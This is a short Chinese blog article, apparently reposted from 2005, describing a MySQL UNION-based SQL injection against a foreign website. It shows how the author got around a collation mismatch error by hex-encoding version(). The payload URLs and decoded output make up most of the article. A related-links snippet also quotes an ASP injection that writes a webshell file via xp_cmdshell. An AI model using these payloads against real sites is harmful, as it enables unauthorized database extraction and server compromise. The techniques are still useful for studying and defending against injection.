MySQL注射时ErrorNo.1267的突破

最新推荐文章于 2024-06-07 23:00:33 发布
最新推荐文章于 2024-06-07 23:00:33 发布
阅读量243 收藏
点赞数
文章标签： mysql hex url 测试
 
本文作者：SuperHei
文章性质：原创
发布日期：2005-10-18

测试个国外的站时：

url：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*

返回错误：

Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

MySQL Error No. 126

看来是union查询前后字符集（http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html）不同出现的。

解决办法：转为其他编码如hex。

url：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*

成功得到hex(version())的值为：

342E312E332D62657461

回Mysql查询下得到：

mysql> select 0x342E312E332D62657461;
+------------------------+
| 0x342E312E332D62657461 |
+------------------------+
| 4.1.3-beta |
+------------------------+
1 row in set (0.00 sec)

nichogls
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
解决mysql安装时出现error Nr.1045问题的方法
09-10
主要为大家详细介绍了解决mysql安装时出现error Nr.1045问题的方法，感兴趣的小伙伴们可以参考一下
mysql_ZH_error.go
11-25
mysql错误简易中文提示
MySQL5.x的一类SQL Error: 1267问题的解决方法
千山独行
08-15 944
最近在使用MySQL5.x时，用到了两个表的组合查询，类似下面简单的语句： [code] select pa.userId as userId,pa.userName as userName,pb.orgId as orgId,pb.orgName as orgName from tbl_user pa,tbl_org pb where pa.userId = pb.userId [/cod...
SQLERROR:1267
lucky
09-28 1999
最近在使用MySQL5.x时，用到了两个表的组合查询，类似下面简单的语句：  Java代码   select pa.userId as userId,pa.userName as userName,pb.orgId as orgId,pb.orgName as orgName from tbl_user pa,tbl_org pb where pa.userId = pb.
php+mysql入侵常见思路
kuxing100的专栏
04-26 1511
php+mysql注入方面的文章已经是很多了，我最近帮朋友架设一个php+mysql的站，考虑安全性于是又重新看了看那些网上注射文章，自己做了点测试，总结一下。发到blog上来是为了留个底，便于以后查阅。 mysql的限制还是很多，没有mssql那么强大的存储过程，也没有mssql那么方便的系统表（mysql自带mysql数据库是需要专门赋予访问权限或者root权限才可以访问的）。在我测试的
springboot罗亚方舟考研资料库网站设计与实现毕业设计源码302302
m0_73244011的博客
08-25 759
1.论坛形式页面 2.首页推荐 3.做一个二级菜单 4.菜单里应有一两个相应的内容做为展示。 5.文章可以评论和收藏 6.公共课资料里是视频资源，公共课种类繁多也请做个二级菜单什么的。对老师也应 有个收藏功能，方便用户直接点击跳转。 7.用户的登录、注册 8.管理员的登录 9.后台管理员能对相应的内容进行删除或增加。 10.历年资讯中最好有历年考研分数线折线图 11.首页做个轮播图。
Hackfing in Mysql5入门
网站开发初中级代码参考-转载
05-11 57
Hackfing in Mysql5Author：SuperHei_[At]_ph4nt0m.orgBlog：http://superhei.blogbus.com/Team：http://www.ph4nt0m.orgData: 2006-01-29 Mysql5增加很多新的功能，开始支持：存储过程、触发器、视图、信息架构视图等新特。可以说这些都是发展的必然，但是新的东西的出来，必定也会带来新的...
Hackfing in Mysql5
cnbird's blog
10-09 807
Mysql5增加很多新的功能，开始支持：存储过程、触发器、视图、信息架构视图等新特。可以说这些都是发展的必然，但是新的东西的出来，必定也会带来新的安全问题，如Mysql4开始支持union查询、子查询。这直接导致mysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢？下面我给大家介绍下mysql5在安全方面的特点：一、password authenticationmysql5的
基于Mysql5的注入测试
weixin_33728268的博客
04-09 51
Mysql5增加很多新的功能，开始支持：存储过程、触发器、视图、信息架构视图等新特。可以说这些都是发展的必然，但是新的东西的出来，必定也会带来新 的安全问题，如Mysql4开始支持union查询、子查询。这直接导致mysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢？ 下面我给大家介绍下mysql5在安全方面的特点： 一、password aut...
用于mysql8.0版本的MySql.Data.dll类库，直接引用使用
08-27
用于mysql8.0版本的MySql.Data.dll类库，直接引用使用
解决Cause com.mysql.jdbc.exceptions.jdbc4.CommunicationsException
11-09
Cause com.mysql.jdbc.exceptions.jdbc4.CommunicationsException The last packet successfully received from the server was 47,795,922 milliseconds ago. The last packet sent successfully to the server was...
【转】高级PHP应用程序漏洞审核技术
heiyeluren的blog（黑夜路人的开源世界）
08-05 4399
 作者：Ph4nt0m Security Team来源：http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x03_0x06.txt   ==Ph4nt0m Security Team== Issue 0x03, Phile
脚本注射的一些资料
HackCode的专栏
07-23 1421
 一些有用的ASP注入相关的命令1、 http://192.168.1.5/display.asp?keyno=1881;exec&n ... mdshell echo ^execute request^("l"^)^ >c:/mu.asp;--用^转义字符来写ASP文件的方法。2、 http://192.168.1.5/display.asp?keyno=188&nb ... l
MySQL 高级 - 第十一章 | 索引优化与查询优化
最新发布
xhmico的博客
06-07 784
上篇：第十章、性能分析工具的使用本文内容主要源于：bilibili-尚硅谷-MySQL高级篇都有哪些纬度可以进行数据库调优？简言之：关于数据库调优的知识点非常分散，不同 ，不同的公司，不同的职位，不同的项目遇到的问题都不尽相同。虽然 查询优化的技术很多，但是大体方向上完全可以分为 和 两大块。学员表插 万条， 班级表插 万条步骤1：建表 步骤2：设置参数命令开启：允许创建函数设置 步骤3：创建函数随机产生字符串，保证每条数据都不同 随机产生班级编号 步骤4：创建存储过程创建往 表中插入数据的存储
8. MySQL 存储过程、存储函数、触发器
普罗米修斯的博客
06-04 943
SHOW CREATE 语句能查询存储过程的集体定义。基本语法SHOW CREATE PROCEDURE 存储过程名;实例使用 SHOW CREATE 查询名为 showstuscore 的存储过程的状态。查询结果显示了存储过程的定义和字符集信息等。基本语法DECLARE 关键字是用来声明变量的；var_name参数是变量的名称，这里可以同时定义多个变量；type参数用来指定变量的类型；
java中mysql5和mysql8数据库连接方式
Alfred_tfk的博客
06-04 362
java中mysql5和mysql8数据库连接方式。
ErrorNo.2003 Can t connect to MYSQL server on localhost (10061)
11-28
在Ubuntu系统上，MySQL配置文件位于/etc/mysql/mysql.conf.d/mysqld.cnf。 3. 确保防火墙未阻止MySQL服务器的连接。可以使用以下命令检查防火墙规则： ```shell sudo ufw status ``` 如果防火墙正在运行并且...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值